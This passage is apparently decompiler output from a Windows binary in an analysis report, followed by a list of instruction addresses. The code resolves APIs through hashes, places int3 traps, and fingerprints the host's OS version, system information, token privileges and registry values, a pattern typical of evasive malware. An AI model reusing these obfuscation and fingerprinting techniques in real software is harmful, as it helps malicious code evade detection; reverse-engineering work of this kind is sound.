                                                                                                                                              				intOrPtr* _t404;
                                                                                                                                              				signed int _t406;
                                                                                                                                              				intOrPtr* _t409;
                                                                                                                                              				void* _t411;
                                                                                                                                              				signed int _t413;
                                                                                                                                              				void* _t414;
                                                                                                                                              				void* _t415;
                                                                                                                                              				void* _t420;
                                                                                                                                              				intOrPtr* _t423;
                                                                                                                                              				void* _t425;
                                                                                                                                              				void** _t427;
                                                                                                                                              				void* _t428;
                                                                                                                                              				void* _t429;
                                                                                                                                              
                                                                                                                                              				_t414 = __ecx;
                                                                                                                                              				_t155 =  *0x6ebed1f8;
                                                                                                                                              				if(_t155 == 0x4c71e88d) {
                                                                                                                                              					_t155 = E6EBE361C(0x30);
                                                                                                                                              					 *0x6ebed1f8 = _t155;
                                                                                                                                              				}
                                                                                                                                              				if( *((char*)(_t155 + 0xb)) == 0 || _t414 != 0) {
                                                                                                                                              					_t415 = _t428 + 0x48;
                                                                                                                                              					E6EBE3698(_t415, 0, 0x11c);
                                                                                                                                              					_t429 = _t428 + 0xc;
                                                                                                                                              					 *((intOrPtr*)(_t429 + 0x48)) = 0x11c;
                                                                                                                                              					if(E6EBE306C(0x8e844d1e, 0xcf311107, 0x8e844d1e, 0x8e844d1e) != 0) {
                                                                                                                                              						_push(_t415);
                                                                                                                                              						asm("int3");
                                                                                                                                              						asm("int3");
                                                                                                                                              					}
                                                                                                                                              					_t404 =  *0x6ebed1f8;
                                                                                                                                              					_t159 = _t429 + 0x4c;
                                                                                                                                              					_t294 =  *_t159;
                                                                                                                                              					 *(_t404 + 8) = _t294;
                                                                                                                                              					_t295 = _t159[4];
                                                                                                                                              					 *(_t404 + 9) = _t295;
                                                                                                                                              					 *((char*)(_t404 + 0xa)) = _t159[0x110];
                                                                                                                                              					 *((intOrPtr*)(_t404 + 4)) =  *((intOrPtr*)(_t429 + 0x54));
                                                                                                                                              					 *((char*)(_t404 + 0xc)) = 0 | _t159[0x116] != 0x00000001;
                                                                                                                                              					 *_t404 = (_t295 & 0x000000ff) + ((_t294 & 0x000000ff) << 4) - 0x50;
                                                                                                                                              					_t162 = E6EBE0FF8(_t404);
                                                                                                                                              					 *(_t429 + 0x198) = 0;
                                                                                                                                              					 *((char*)( *0x6ebed1f8 + 0xb)) = _t162;
                                                                                                                                              					_t363 = E6EBE306C(0x150c05fc, 0x1da4d409, _t162, _t162);
                                                                                                                                              					if(_t363 == 0) {
                                                                                                                                              						L12:
                                                                                                                                              						_t364 = 0;
                                                                                                                                              						L13:
                                                                                                                                              						 *((char*)( *0x6ebed1f8 + 0x28)) = _t364;
                                                                                                                                              						if( *((intOrPtr*)(E6EBE0730(0))) >= 0x10) {
                                                                                                                                              							_push(6);
                                                                                                                                              							memcpy(_t429 + 0x164, 0x6ebebce0, 0 << 2);
                                                                                                                                              							_t429 = _t429 + 0xc;
                                                                                                                                              							 *((intOrPtr*)(_t429 + 0x1c)) = 0;
                                                                                                                                              							E6EBDF584(_t429 + 0x24, 0);
                                                                                                                                              							_t406 = 0;
                                                                                                                                              							__eflags = 0;
                                                                                                                                              							do {
                                                                                                                                              								E6EBDF828(_t429 + 0x24, E6EBDF4CC(_t429 + 0x20) + 4);
                                                                                                                                              								 *((intOrPtr*)(E6EBDF4BC(_t429 + 0x24, E6EBDF4CC(_t429 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t429 + 0x164 + _t406 * 4));
                                                                                                                                              								_t406 = _t406 + 1;
                                                                                                                                              								 *((intOrPtr*)(_t429 + 0x1c)) =  *((intOrPtr*)(_t429 + 0x1c)) + 1;
                                                                                                                                              								__eflags = _t406 - 6;
                                                                                                                                              							} while (_t406 < 6);
                                                                                                                                              							_push(0);
                                                                                                                                              							E6EBE5580(_t429 + 0xc, _t429 + 0x1c, 0x80000002);
                                                                                                                                              							E6EBDF654(_t429 + 0x20);
                                                                                                                                              							E6EBE55B0(_t429 + 8, _t429 + 0x1c0, 0xc0092a94);
                                                                                                                                              							_t180 = E6EBE5864(_t429 + 4, __eflags,  *((intOrPtr*)(_t429 + 0x1c0)));
                                                                                                                                              							_t407 = _t180;
                                                                                                                                              							E6EBDDFA4(_t429 + 0x1c0);
                                                                                                                                              							__eflags = _t180;
                                                                                                                                              							if(_t180 != 0) {
                                                                                                                                              								E6EBE55B0(_t429 + 8, _t429 + 0x1c8, 0x1e55aaec);
                                                                                                                                              								_t420 = E6EBE5864(_t429 + 4, __eflags,  *((intOrPtr*)(_t429 + 0x1c8)));
                                                                                                                                              								E6EBDDFA4(_t429 + 0x1c8);
                                                                                                                                              								_t407 = _t429 + 0x1d0;
                                                                                                                                              								E6EBE55B0(_t429 + 8, _t429 + 0x1d0, 0x360d0c74);
                                                                                                                                              								_t401 = E6EBE5864(_t429 + 4, __eflags,  *(_t429 + 0x1d0));
                                                                                                                                              								E6EBDDFA4(_t429 + 0x1d0);
                                                                                                                                              								__eflags = _t420;
                                                                                                                                              								if(_t420 != 0) {
                                                                                                                                              									__eflags = _t420 - 5;
                                                                                                                                              									if(_t420 != 5) {
                                                                                                                                              										__eflags = _t420 - 2;
                                                                                                                                              										if(_t420 != 2) {
                                                                                                                                              											L58:
                                                                                                                                              											E6EBDCFDC(_t429 + 0xc);
                                                                                                                                              											__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              											if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              												L65:
                                                                                                                                              												_t189 = 0;
                                                                                                                                              												__eflags = 0;
                                                                                                                                              												 *(_t429 + 4) = 0;
                                                                                                                                              												goto L66;
                                                                                                                                              											}
                                                                                                                                              											_t382 =  *(_t429 + 4);
                                                                                                                                              											__eflags = _t382;
                                                                                                                                              											if(_t382 == 0) {
                                                                                                                                              												L61:
                                                                                                                                              												_t238 = 1;
                                                                                                                                              												L63:
                                                                                                                                              												__eflags = _t238;
                                                                                                                                              												if(_t238 == 0) {
                                                                                                                                              													E6EBE5558(_t382);
                                                                                                                                              												}
                                                                                                                                              												goto L65;
                                                                                                                                              											}
                                                                                                                                              											__eflags = _t382 - 0xffffffff;
                                                                                                                                              											if(_t382 != 0xffffffff) {
                                                                                                                                              												_t238 = 0;
                                                                                                                                              												__eflags = 0;
                                                                                                                                              												goto L63;
                                                                                                                                              											}
                                                                                                                                              											goto L61;
                                                                                                                                              										}
                                                                                                                                              										__eflags = _t401 - 1;
                                                                                                                                              										if(_t401 != 1) {
                                                                                                                                              											goto L58;
                                                                                                                                              										}
                                                                                                                                              										E6EBDCFDC(_t429 + 0xc);
                                                                                                                                              										__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              										if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              											L57:
                                                                                                                                              											 *(_t429 + 4) = 0;
                                                                                                                                              											_t189 = 5;
                                                                                                                                              											goto L66;
                                                                                                                                              										}
                                                                                                                                              										_t383 =  *(_t429 + 4);
                                                                                                                                              										__eflags = _t383;
                                                                                                                                              										if(_t383 == 0) {
                                                                                                                                              											L53:
                                                                                                                                              											_t241 = 1;
                                                                                                                                              											L55:
                                                                                                                                              											__eflags = _t241;
                                                                                                                                              											if(_t241 == 0) {
                                                                                                                                              												E6EBE5558(_t383);
                                                                                                                                              											}
                                                                                                                                              											goto L57;
                                                                                                                                              										}
                                                                                                                                              										__eflags = _t383 - 0xffffffff;
                                                                                                                                              										if(_t383 != 0xffffffff) {
                                                                                                                                              											_t241 = 0;
                                                                                                                                              											__eflags = 0;
                                                                                                                                              											goto L55;
                                                                                                                                              										}
                                                                                                                                              										goto L53;
                                                                                                                                              									}
                                                                                                                                              									__eflags = _t401;
                                                                                                                                              									if(_t401 != 0) {
                                                                                                                                              										__eflags = _t401 - 1;
                                                                                                                                              										if(_t401 == 1) {
                                                                                                                                              											E6EBDCFDC(_t429 + 0xc);
                                                                                                                                              											__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              											if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              												L121:
                                                                                                                                              												 *(_t429 + 4) = 0;
                                                                                                                                              												_t189 = 4;
                                                                                                                                              												goto L66;
                                                                                                                                              											}
                                                                                                                                              											_t384 =  *(_t429 + 4);
                                                                                                                                              											__eflags = _t384;
                                                                                                                                              											if(_t384 == 0) {
                                                                                                                                              												L117:
                                                                                                                                              												_t244 = 1;
                                                                                                                                              												L119:
                                                                                                                                              												__eflags = _t244;
                                                                                                                                              												if(_t244 == 0) {
                                                                                                                                              													E6EBE5558(_t384);
                                                                                                                                              												}
                                                                                                                                              												goto L121;
                                                                                                                                              											}
                                                                                                                                              											__eflags = _t384 - 0xffffffff;
                                                                                                                                              											if(_t384 != 0xffffffff) {
                                                                                                                                              												_t244 = 0;
                                                                                                                                              												__eflags = 0;
                                                                                                                                              												goto L119;
                                                                                                                                              											}
                                                                                                                                              											goto L117;
                                                                                                                                              										}
                                                                                                                                              										goto L58;
                                                                                                                                              									}
                                                                                                                                              									E6EBDCFDC(_t429 + 0xc);
                                                                                                                                              									__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              									if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              										L45:
                                                                                                                                              										 *(_t429 + 4) = 0;
                                                                                                                                              										_t189 = 3;
                                                                                                                                              										goto L66;
                                                                                                                                              									}
                                                                                                                                              									_t385 =  *(_t429 + 4);
                                                                                                                                              									__eflags = _t385;
                                                                                                                                              									if(_t385 == 0) {
                                                                                                                                              										L41:
                                                                                                                                              										_t247 = 1;
                                                                                                                                              										L43:
                                                                                                                                              										__eflags = _t247;
                                                                                                                                              										if(_t247 == 0) {
                                                                                                                                              											E6EBE5558(_t385);
                                                                                                                                              										}
                                                                                                                                              										goto L45;
                                                                                                                                              									}
                                                                                                                                              									__eflags = _t385 - 0xffffffff;
                                                                                                                                              									if(_t385 != 0xffffffff) {
                                                                                                                                              										_t247 = 0;
                                                                                                                                              										__eflags = 0;
                                                                                                                                              										goto L43;
                                                                                                                                              									}
                                                                                                                                              									goto L41;
                                                                                                                                              								}
                                                                                                                                              								__eflags = _t401;
                                                                                                                                              								if(_t401 != 0) {
                                                                                                                                              									goto L58;
                                                                                                                                              								}
                                                                                                                                              								E6EBDCFDC(_t429 + 0xc);
                                                                                                                                              								__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              								if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              									L35:
                                                                                                                                              									 *(_t429 + 4) = 0;
                                                                                                                                              									_t189 = 2;
                                                                                                                                              									goto L66;
                                                                                                                                              								}
                                                                                                                                              								_t386 =  *(_t429 + 4);
                                                                                                                                              								__eflags = _t386;
                                                                                                                                              								if(_t386 == 0) {
                                                                                                                                              									L31:
                                                                                                                                              									_t250 = 1;
                                                                                                                                              									L33:
                                                                                                                                              									__eflags = _t250;
                                                                                                                                              									if(_t250 == 0) {
                                                                                                                                              										E6EBE5558(_t386);
                                                                                                                                              									}
                                                                                                                                              									goto L35;
                                                                                                                                              								}
                                                                                                                                              								__eflags = _t386 - 0xffffffff;
                                                                                                                                              								if(_t386 != 0xffffffff) {
                                                                                                                                              									_t250 = 0;
                                                                                                                                              									__eflags = 0;
                                                                                                                                              									goto L33;
                                                                                                                                              								}
                                                                                                                                              								goto L31;
                                                                                                                                              							}
                                                                                                                                              							E6EBDCFDC(_t429 + 0xc);
                                                                                                                                              							__eflags =  *((char*)(_t429 + 8));
                                                                                                                                              							if( *((char*)(_t429 + 8)) == 0) {
                                                                                                                                              								L25:
                                                                                                                                              								 *(_t429 + 4) = 0;
                                                                                                                                              								_t189 = 1;
                                                                                                                                              								goto L66;
                                                                                                                                              							}
                                                                                                                                              							_t387 =  *(_t429 + 4);
                                                                                                                                              							__eflags = _t387;
                                                                                                                                              							if(_t387 == 0) {
                                                                                                                                              								L21:
                                                                                                                                              								_t254 = 1;
                                                                                                                                              								L23:
                                                                                                                                              								__eflags = _t254;
                                                                                                                                              								if(_t254 == 0) {
                                                                                                                                              									E6EBE5558(_t387);
                                                                                                                                              								}
                                                                                                                                              								goto L25;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t387 - 0xffffffff;
                                                                                                                                              							if(_t387 != 0xffffffff) {
                                                                                                                                              								_t254 = 0;
                                                                                                                                              								__eflags = 0;
                                                                                                                                              								goto L23;
                                                                                                                                              							}
                                                                                                                                              							goto L21;
                                                                                                                                              						} else {
                                                                                                                                              							_t189 = 1;
                                                                                                                                              							L66:
                                                                                                                                              							 *((intOrPtr*)( *0x6ebed1f8 + 0x24)) = _t189;
                                                                                                                                              							_t190 = E6EBE1030(0xffffffffffffffff);
                                                                                                                                              							_t320 =  *0x6ebed1f8;
                                                                                                                                              							 *((char*)(_t320 + 0x29)) = _t190;
                                                                                                                                              							 *((intOrPtr*)(_t320 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
                                                                                                                                              							if( *_t320 >= 0x10) {
                                                                                                                                              								__eflags = 0xffffffffffffffff;
                                                                                                                                              								 *((intOrPtr*)( *0x6ebed1f8 + 0x2c)) = E6EBE10A4(0x6ebed1f8, 0xffffffffffffffff);
                                                                                                                                              								L78:
                                                                                                                                              								if(E6EBE306C(0x8e844d1e, 0x925d7fea, 0x8e844d1e, 0x8e844d1e) != 0) {
                                                                                                                                              									GetSystemInfo(_t429 + 0x164); // executed
                                                                                                                                              								}
                                                                                                                                              								_t196 =  *0x6ebed1f8;
                                                                                                                                              								_t291 = _t429 + 0x178;
                                                                                                                                              								_t409 = _t429 + 0x170;
                                                                                                                                              								 *((short*)(_t196 + 0xe)) =  *_t291;
                                                                                                                                              								 *((intOrPtr*)(_t196 + 0x10)) =  *((intOrPtr*)(_t291 - 0x10));
                                                                                                                                              								 *((intOrPtr*)(_t196 + 0x14)) =  *((intOrPtr*)(_t291 - 0xc));
                                                                                                                                              								 *((intOrPtr*)(_t196 + 0x18)) =  *_t409;
                                                                                                                                              								 *((intOrPtr*)(_t196 + 0x1c)) =  *((intOrPtr*)(_t409 + 0x10));
                                                                                                                                              								return _t196;
                                                                                                                                              							}
                                                                                                                                              							 *(_t429 + 0x19c) = 0;
                                                                                                                                              							_t372 = E6EBE306C(0x150c05fc, 0x1da4d409, 0x150c05fc, 0x150c05fc);
                                                                                                                                              							if(_t372 == 0) {
                                                                                                                                              								L74:
                                                                                                                                              								_t200 =  *0x6ebed1f8;
                                                                                                                                              								if( *((char*)(_t200 + 0x28)) == 0) {
                                                                                                                                              									 *((intOrPtr*)(_t200 + 0x2c)) = 3;
                                                                                                                                              								} else {
                                                                                                                                              									 *((intOrPtr*)(_t200 + 0x2c)) = 5;
                                                                                                                                              								}
                                                                                                                                              								goto L78;
                                                                                                                                              							}
                                                                                                                                              							_push(_t429 + 0x19c);
                                                                                                                                              							_push(8);
                                                                                                                                              							_push(0xffffffff);
                                                                                                                                              							if( *_t372() == 0) {
                                                                                                                                              								_t203 = E6EBE35F0(_t407);
                                                                                                                                              								__eflags = _t203;
                                                                                                                                              								if(_t203 != 0) {
                                                                                                                                              									goto L74;
                                                                                                                                              								}
                                                                                                                                              							}
                                                                                                                                              							 *(_t429 + 0x30) =  *(_t429 + 0x19c);
                                                                                                                                              							 *((char*)(_t429 + 0x34)) = 1;
                                                                                                                                              							 *(_t429 + 0x1a4) = 0;
                                                                                                                                              							_t325 = E6EBE306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              							if(_t325 != 0) {
                                                                                                                                              								_push(_t429 + 0x1a4);
                                                                                                                                              								_push(0);
                                                                                                                                              								_push(0);
                                                                                                                                              								_push(1);
                                                                                                                                              								_push( *(_t429 + 0x1ac));
                                                                                                                                              								if( *_t325() == 0) {
                                                                                                                                              									E6EBE35F0(_t407);
                                                                                                                                              								}
                                                                                                                                              							}
                                                                                                                                              							_t206 =  *(_t429 + 0x1a4);
                                                                                                                                              							if( *(_t429 + 0x1a4) != 0) {
                                                                                                                                              								E6EBDF584(_t429 + 0x18c, _t206);
                                                                                                                                              								_t411 = E6EBE306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              								__eflags = _t411;
                                                                                                                                              								if(_t411 == 0) {
                                                                                                                                              									L133:
                                                                                                                                              									E6EBDF654(_t429 + 0x188);
                                                                                                                                              									goto L72;
                                                                                                                                              								}
                                                                                                                                              								_t212 = E6EBDF4BC(_t429 + 0x18c, 0);
                                                                                                                                              								_t213 = E6EBDF4CC(_t429 + 0x188);
                                                                                                                                              								_t215 =  *_t411( *(_t429 + 0x1ac), 1, _t212, _t213, _t429 + 0x1a4);
                                                                                                                                              								__eflags = _t215;
                                                                                                                                              								if(_t215 == 0) {
                                                                                                                                              									_t216 = E6EBE35F0(_t411);
                                                                                                                                              									__eflags = _t216;
                                                                                                                                              									if(_t216 != 0) {
                                                                                                                                              										goto L133;
                                                                                                                                              									}
                                                                                                                                              								}
                                                                                                                                              								_t423 = E6EBDF4BC(_t429 + 0x18c, 0);
                                                                                                                                              								E6EBDDF4C(_t429 + 0x1b4, 0);
                                                                                                                                              								 *(_t429 + 0x1ac) = 0;
                                                                                                                                              								_t377 = E6EBE306C(0x150c05fc, 0xfc1a24a1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              								__eflags = _t377;
                                                                                                                                              								if(_t377 != 0) {
                                                                                                                                              									 *_t377( *_t423, _t429 + 0x1ac);
                                                                                                                                              								}
                                                                                                                                              								E6EBDDFC0(_t429 + 0x1b4,  *(_t429 + 0x1ac));
                                                                                                                                              								_t223 = E6EBE306C(0x8e844d1e, 0xda6a2597, 0x8e844d1e, 0x8e844d1e);
                                                                                                                                              								__eflags = _t223;
                                                                                                                                              								if(_t223 != 0) {
                                                                                                                                              									_push( *(_t429 + 0x1ac));
                                                                                                                                              									asm("int3");
                                                                                                                                              									asm("int3");
                                                                                                                                              								}
                                                                                                                                              								E6EBDE06C(_t429 + 0x1b8 - 8, _t429 + 0x1b8);
                                                                                                                                              								_t425 = E6EBE4FFC( *((intOrPtr*)(_t429 + 0x1b8)), E6EBDE8A8( *((intOrPtr*)(_t429 + 0x1b8)), 0x7fffffff));
                                                                                                                                              								E6EBDDFA4(_t429 + 0x1b8);
                                                                                                                                              								E6EBDDFA4(_t429 + 0x1b0);
                                                                                                                                              								E6EBDF654(_t429 + 0x188);
                                                                                                                                              								__eflags =  *((char*)(_t429 + 0x34));
                                                                                                                                              								if( *((char*)(_t429 + 0x34)) != 0) {
                                                                                                                                              									E6EBDBB44(_t429 + 0x30);
                                                                                                                                              								}
                                                                                                                                              								__eflags = _t425 - 0x6df4cf7;
                                                                                                                                              								if(_t425 != 0x6df4cf7) {
                                                                                                                                              									goto L74;
                                                                                                                                              								} else {
                                                                                                                                              									 *((intOrPtr*)( *0x6ebed1f8 + 0x2c)) = 6;
                                                                                                                                              									goto L78;
                                                                                                                                              								}
                                                                                                                                              							} else {
                                                                                                                                              								L72:
                                                                                                                                              								if( *((char*)(_t429 + 0x34)) != 0) {
                                                                                                                                              									E6EBDBB44(_t429 + 0x30);
                                                                                                                                              								}
                                                                                                                                              								goto L74;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_push(_t429 + 0x198);
                                                                                                                                              					_push(8);
                                                                                                                                              					_push(0xffffffff);
                                                                                                                                              					if( *_t363() == 0) {
                                                                                                                                              						_t259 = E6EBE35F0(_t404);
                                                                                                                                              						__eflags = _t259;
                                                                                                                                              						if(_t259 != 0) {
                                                                                                                                              							goto L12;
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					 *(_t429 + 0x14) =  *(_t429 + 0x198);
                                                                                                                                              					 *((char*)(_t429 + 0x18)) = 1;
                                                                                                                                              					 *(_t429 + 0x1a0) = 0;
                                                                                                                                              					if(E6EBE306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc) != 0) {
                                                                                                                                              						_t288 = GetTokenInformation( *(_t429 + 0x1a8), 2, 0, 0, _t429 + 0x1a0); // executed
                                                                                                                                              						if(_t288 == 0) {
                                                                                                                                              							E6EBE35F0(_t404);
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              					_t262 =  *(_t429 + 0x1a0);
                                                                                                                                              					if( *(_t429 + 0x1a0) != 0) {
                                                                                                                                              						E6EBDF584(_t429 + 0x3c, _t262);
                                                                                                                                              						_t265 = E6EBE306C(0x150c05fc, 0xf2377aa1, 0x150c05fc, 0x150c05fc);
                                                                                                                                              						_t407 = _t265;
                                                                                                                                              						__eflags = _t265;
                                                                                                                                              						if(_t265 == 0) {
                                                                                                                                              							L107:
                                                                                                                                              							E6EBDF654(_t429 + 0x38);
                                                                                                                                              							goto L10;
                                                                                                                                              						}
                                                                                                                                              						_t268 = E6EBDF4BC(_t429 + 0x3c, 0);
                                                                                                                                              						_t271 = GetTokenInformation( *(_t429 + 0x1a8), 2, _t268, E6EBDF4CC(_t429 + 0x38), _t429 + 0x1a0); // executed
                                                                                                                                              						__eflags = _t271;
                                                                                                                                              						if(_t271 == 0) {
                                                                                                                                              							_t272 = E6EBE35F0(_t407);
                                                                                                                                              							__eflags = _t272;
                                                                                                                                              							if(_t272 != 0) {
                                                                                                                                              								goto L107;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              						_t427 = E6EBDF4BC(_t429 + 0x3c, 0);
                                                                                                                                              						 *(_t429 + 0x1d8 - 0x30) = 0;
                                                                                                                                              						asm("movsd");
                                                                                                                                              						asm("movsb");
                                                                                                                                              						asm("movsb");
                                                                                                                                              						_t407 = E6EBE306C(0x150c05fc, 0x2351aaca, 0x150c05fc, 0x150c05fc);
                                                                                                                                              						__eflags = _t407;
                                                                                                                                              						if(_t407 == 0) {
                                                                                                                                              							goto L107;
                                                                                                                                              						}
                                                                                                                                              						_t276 = _t429 + 0x1a8;
                                                                                                                                              						_t277 =  *_t407(_t276 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t276);
                                                                                                                                              						__eflags = _t277;
                                                                                                                                              						if(_t277 == 0) {
                                                                                                                                              							_t278 = E6EBE35F0(_t407);
                                                                                                                                              							__eflags = _t278;
                                                                                                                                              							if(_t278 != 0) {
                                                                                                                                              								goto L107;
                                                                                                                                              							}
                                                                                                                                              						}
                                                                                                                                              						_t403 =  *(_t429 + 0x1a8);
                                                                                                                                              						__eflags =  *_t427;
                                                                                                                                              						if( *_t427 <= 0) {
                                                                                                                                              							L101:
                                                                                                                                              							__eflags = _t403;
                                                                                                                                              							if(_t403 == 0) {
                                                                                                                                              								L103:
                                                                                                                                              								_t393 = 1;
                                                                                                                                              								L105:
                                                                                                                                              								__eflags = _t393;
                                                                                                                                              								if(_t393 == 0) {
                                                                                                                                              									E6EBE0FD4(_t403, _t407, _t403);
                                                                                                                                              								}
                                                                                                                                              								goto L107;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t403 - 0xffffffff;
                                                                                                                                              							if(_t403 != 0xffffffff) {
                                                                                                                                              								_t393 = 0;
                                                                                                                                              								__eflags = 0;
                                                                                                                                              								goto L105;
                                                                                                                                              							}
                                                                                                                                              							goto L103;
                                                                                                                                              						}
                                                                                                                                              						_t413 = 0;
                                                                                                                                              						__eflags = 0;
                                                                                                                                              						do {
                                                                                                                                              							_t282 = E6EBE306C(0x150c05fc, 0xb4757511, 0x150c05fc, 0x150c05fc);
                                                                                                                                              							__eflags = _t282;
                                                                                                                                              							if(_t282 == 0) {
                                                                                                                                              								goto L100;
                                                                                                                                              							}
                                                                                                                                              							_push( *((intOrPtr*)(_t427 + 4 + _t413 * 8)));
                                                                                                                                              							_push( *(_t429 + 0x1ac));
                                                                                                                                              							asm("int3");
                                                                                                                                              							asm("int3");
                                                                                                                                              							__eflags = _t282;
                                                                                                                                              							if(_t282 == 0) {
                                                                                                                                              								goto L100;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t403;
                                                                                                                                              							if(_t403 == 0) {
                                                                                                                                              								L93:
                                                                                                                                              								_t395 = 1;
                                                                                                                                              								L95:
                                                                                                                                              								__eflags = _t395;
                                                                                                                                              								if(_t395 == 0) {
                                                                                                                                              									E6EBE0FD4(_t403, _t413, _t403);
                                                                                                                                              								}
                                                                                                                                              								E6EBDF654(_t429 + 0x38);
                                                                                                                                              								__eflags =  *((char*)(_t429 + 0x18));
                                                                                                                                              								if( *((char*)(_t429 + 0x18)) != 0) {
                                                                                                                                              									E6EBDBB44(_t429 + 0x14);
                                                                                                                                              								}
                                                                                                                                              								_t364 = 1;
                                                                                                                                              								goto L13;
                                                                                                                                              							}
                                                                                                                                              							__eflags = _t403 - 0xffffffff;
                                                                                                                                              							if(_t403 != 0xffffffff) {
                                                                                                                                              								_t395 = 0;
                                                                                                                                              								__eflags = 0;
                                                                                                                                              								goto L95;
                                                                                                                                              							}
                                                                                                                                              							goto L93;
                                                                                                                                              							L100:
                                                                                                                                              							_t413 = _t413 + 1;
                                                                                                                                              							__eflags = _t413 -  *_t427;
                                                                                                                                              						} while (_t413 <  *_t427);
                                                                                                                                              						goto L101;
                                                                                                                                              					}
                                                                                                                                              					L10:
                                                                                                                                              					if( *((char*)(_t429 + 0x18)) != 0) {
                                                                                                                                              						E6EBDBB44(_t429 + 0x14);
                                                                                                                                              					}
                                                                                                                                              					goto L12;
                                                                                                                                              				} else {
                                                                                                                                              					return _t155;
                                                                                                                                              				}
                                                                                                                                              			}




































































                                                                                                                                              0x6ebe073f
                                                                                                                                              0x6ebe0741
                                                                                                                                              0x6ebe0748
                                                                                                                                              0x6ebe0fc7
                                                                                                                                              0x6ebe0fcd
                                                                                                                                              0x6ebe0fcd
                                                                                                                                              0x6ebe0752
                                                                                                                                              0x6ebe075e
                                                                                                                                              0x6ebe076a
                                                                                                                                              0x6ebe076f
                                                                                                                                              0x6ebe077c
                                                                                                                                              0x6ebe078d
                                                                                                                                              0x6ebe078f
                                                                                                                                              0x6ebe0790
                                                                                                                                              0x6ebe0791
                                                                                                                                              0x6ebe0791
                                                                                                                                              0x6ebe0792
                                                                                                                                              0x6ebe0796
                                                                                                                                              0x6ebe079a
                                                                                                                                              0x6ebe079f
                                                                                                                                              0x6ebe07a2
                                                                                                                                              0x6ebe07a8
                                                                                                                                              0x6ebe07c2
                                                                                                                                              0x6ebe07c9
                                                                                                                                              0x6ebe07cc
                                                                                                                                              0x6ebe07cf
                                                                                                                                              0x6ebe07d1
                                                                                                                                              0x6ebe07dd
                                                                                                                                              0x6ebe07ea
                                                                                                                                              0x6ebe07f7
                                                                                                                                              0x6ebe07fb
                                                                                                                                              0x6ebe0887
                                                                                                                                              0x6ebe0887
                                                                                                                                              0x6ebe0889
                                                                                                                                              0x6ebe088d
                                                                                                                                              0x6ebe0898
                                                                                                                                              0x6ebe08ae
                                                                                                                                              0x6ebe08b1
                                                                                                                                              0x6ebe08b1
                                                                                                                                              0x6ebe08b5
                                                                                                                                              0x6ebe08be
                                                                                                                                              0x6ebe08c3
                                                                                                                                              0x6ebe08c3
                                                                                                                                              0x6ebe08c5
                                                                                                                                              0x6ebe08d6
                                                                                                                                              0x6ebe08f8
                                                                                                                                              0x6ebe08fa
                                                                                                                                              0x6ebe08fb
                                                                                                                                              0x6ebe08ff
                                                                                                                                              0x6ebe08ff
                                                                                                                                              0x6ebe0908
                                                                                                                                              0x6ebe0914
                                                                                                                                              0x6ebe091d
                                                                                                                                              0x6ebe0933
                                                                                                                                              0x6ebe0943
                                                                                                                                              0x6ebe0948
                                                                                                                                              0x6ebe094c
                                                                                                                                              0x6ebe0951
                                                                                                                                              0x6ebe0953
                                                                                                                                              0x6ebe09a3
                                                                                                                                              0x6ebe09b8
                                                                                                                                              0x6ebe09bc
                                                                                                                                              0x6ebe09c1
                                                                                                                                              0x6ebe09d2
                                                                                                                                              0x6ebe09e7
                                                                                                                                              0x6ebe09eb
                                                                                                                                              0x6ebe09f0
                                                                                                                                              0x6ebe09f2
                                                                                                                                              0x6ebe0a39
                                                                                                                                              0x6ebe0a3c
                                                                                                                                              0x6ebe0a8a
                                                                                                                                              0x6ebe0a8d
                                                                                                                                              0x6ebe0ace
                                                                                                                                              0x6ebe0ad2
                                                                                                                                              0x6ebe0ad7
                                                                                                                                              0x6ebe0adc
                                                                                                                                              0x6ebe0afb
                                                                                                                                              0x6ebe0afb
                                                                                                                                              0x6ebe0afb
                                                                                                                                              0x6ebe0afd
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0afd
                                                                                                                                              0x6ebe0ade
                                                                                                                                              0x6ebe0ae2
                                                                                                                                              0x6ebe0ae4
                                                                                                                                              0x6ebe0aeb
                                                                                                                                              0x6ebe0aeb
                                                                                                                                              0x6ebe0af1
                                                                                                                                              0x6ebe0af1
                                                                                                                                              0x6ebe0af3
                                                                                                                                              0x6ebe0af6
                                                                                                                                              0x6ebe0af6
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0af3
                                                                                                                                              0x6ebe0ae6
                                                                                                                                              0x6ebe0ae9
                                                                                                                                              0x6ebe0aef
                                                                                                                                              0x6ebe0aef
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0aef
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0ae9
                                                                                                                                              0x6ebe0a8f
                                                                                                                                              0x6ebe0a92
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0a98
                                                                                                                                              0x6ebe0a9d
                                                                                                                                              0x6ebe0aa2
                                                                                                                                              0x6ebe0ac1
                                                                                                                                              0x6ebe0ac1
                                                                                                                                              0x6ebe0acb
                                                                                                                                              0x00000000
                                                                                                                                              0x6ebe0acb
                                                                                                                                              0x6ebe0aa4
                                                                                                                                              0x6ebe0aa8
                                                                                                                                              0x6ebe0aaa
                                                                                                                                              0x6ebe0ab1
